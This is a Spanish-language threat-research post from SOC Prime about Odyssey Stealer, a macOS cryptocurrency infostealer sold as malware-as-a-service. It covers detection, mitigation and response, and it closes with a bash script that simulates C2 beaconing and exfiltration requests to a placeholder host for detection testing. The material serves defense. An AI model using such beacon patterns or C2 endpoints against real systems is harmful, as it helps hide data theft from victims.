SOC Prime Bias: Medio

13 Feb 2026 13:13 UTC

Odyssey Stealer: Dentro de una operación de robo de criptomonedas en macOS

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Seguir
Odyssey Stealer: Dentro de una operación de robo de criptomonedas en macOS
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Odyssey Stealer es un infostealer de macOS enfocado en carteras de criptomonedas y extensiones. Se comercializa como una plataforma de Malware-como-Servicio donde los afiliados alquilan acceso a un C2 centralizado y panel de administración. La distribución generalmente depende de un AppleScript ofuscado que instala un LaunchDaemon persistente que consulta el C2 para recibir comandos. El operador también puede reemplazar aplicaciones legítimas de Ledger y Trezor con versiones troyanizadas para capturar credenciales y datos de transacciones.

Investigación

Los investigadores identificaron el C2 utilizando etiquetas meta HTML únicas, hashes del cuerpo de la página y un hash de favicon compartido. Mapearon diez hosts físicos a través de múltiples clústeres ASN, en gran parte en Europa y los Países Bajos. El análisis de cargas útiles reveló un dropper de AppleScript en múltiples etapas, persistencia de LaunchDaemon, y un binario proxy SOCKS5 compilado en Go. Los datos de configuración incrustados en el dropper expusieron identificadores de afiliados e IDs de compilación.

Mitigación

Esté atento a actividades sospechosas de osascript, especialmente cadenas obfuscadas largas, archivos plist de LaunchDaemon desconocidos con etiquetas aleatorias, y solicitudes POST salientes a puntos de acceso “/log”. Emitir alertas sobre binarios generados por LaunchDaemon y actividad sospechosa de SOCKS5. Verificar la firma de código para aplicaciones de Ledger y Trezor, y bloquear dominios e IPs de C2 conocidos. Enseñar a los usuarios a tratar solicitudes inesperadas de contraseñas y “actualizaciones de billetera” como de alto riesgo.

Respuesta

Al detectarse, aísle el sistema, termine el LaunchDaemon malicioso, y elimine aplicaciones de billetera troyanizadas. Capture el tráfico de red a los dominios e IPs de C2 identificados para la investigación, luego restablezca las credenciales de criptomonedas expuestas y rote las contraseñas de macOS. Realice una revisión forense completa para identificar artefactos adicionales.

Flujo de Ataque

Ejecución de Simulación

Prerequisito: La Verificación de Telemetría y Línea Base debe haberse completado.

  • Narrativa del Ataque y Comandos:
    Un adversario ha desplegado Odyssey Stealer en una estación de trabajo macOS. Después de comprometer al usuario, el malware inicia una señal a su servidor C2 para descargar cargas útiles adicionales y exfiltrar datos recolectados. La señal usa el binary (binario de Apple firmado) para enviar solicitudes HTTP GET a los endpoints de C2 definidos en la regla. El atacante elige estas rutas URI específicas porque son cortas, se mezclan con el tráfico web típico y evitan la detección por soluciones de filtrado de URL genéricas. binary (binario de Apple firmado) para enviar solicitudes HTTP GET a los endpoints de C2 definidos en la regla. El atacante elige estas rutas URI específicas porque son cortas, se mezclan con el tráfico web típico y evitan la detección por soluciones de filtrado de URL genéricas.

    Pasos:

    1. Resuelva el nombre de host del C2 (simulado como c2.odyssey.example.com).
    2. Emita una solicitud GET a /d/aff123456 – imita el punto de exfiltración de datos con un código de afiliado aleatorio y un token numérico.
    3. Emita una solicitud GET a /api/v1/bot/ – simula el latido de gestión de bots.
    4. Opcionalmente, envíe una solicitud a /log para emular el tráfico de registro interno utilizado por el malware para informar sobre el estado.
  • Guion de Prueba de Regresión: El siguiente script bash reproduce el tráfico exacto necesario para activar la regla de detección.

    #!/usr/bin/env bash
    # Simulación de señal C2 de Odyssey Stealer para validación de detección
    # Requisitos: curl, proxy de red configurado según los pasos previos
    
    C2_HOST="c2.odyssey.example.com"
    PROXY_HOST="127.0.0.1:3128"   # ajuste a la dirección de su proxy Squid
    
    # Función para enviar una solicitud a través del proxy
    enviar_solicitud() {
        local ruta=$1
        echo "[*] Enviando solicitud a https://${C2_HOST}${ruta} a través del proxy ${PROXY_HOST}"
        curl -x "$PROXY_HOST" -s -o /dev/null "https://${C2_HOST}${ruta}"
    }
    
    # 1. Punto de exfiltración de datos (afiliado aleatorio + dígitos)
    AFILIADO="aff$(shuf -i 1000-9999 -n 1)"
    DIGITOS=$(shuf -i 10000-99999 -n 1)
    enviar_solicitud "/d/${AFILIADO}${DIGITOS}"
    
    # 2. Latido de gestión de bots
    enviar_solicitud "/api/v1/bot/"
    
    # 3. Punto de registro opcional
    enviar_solicitud "/log"
    
    echo "[+] Simulación completa. Verifique alertas en el SIEM."

    Guarde el script como odyssey_beacon.sh, hágalo ejecutable (chmod +x odyssey_beacon.sh), y ejecútelo en el host de prueba macOS.

  • Comandos de Limpieza: Elimine cualquier archivo temporal y opcionalmente desactive el proxy para el usuario de prueba.

    # Desactivar la configuración del proxy para la interfaz Wi‑Fi
    networksetup -setwebproxystate "Wi-Fi" off
    networksetup -setsecurewebproxystate "Wi-Fi" off
    
    # (Opcional) Detenga Squid si se inició únicamente para esta prueba
    # brew services stop squid
    echo "Configuración de proxy restaurada y Squid detenido (si corresponde)."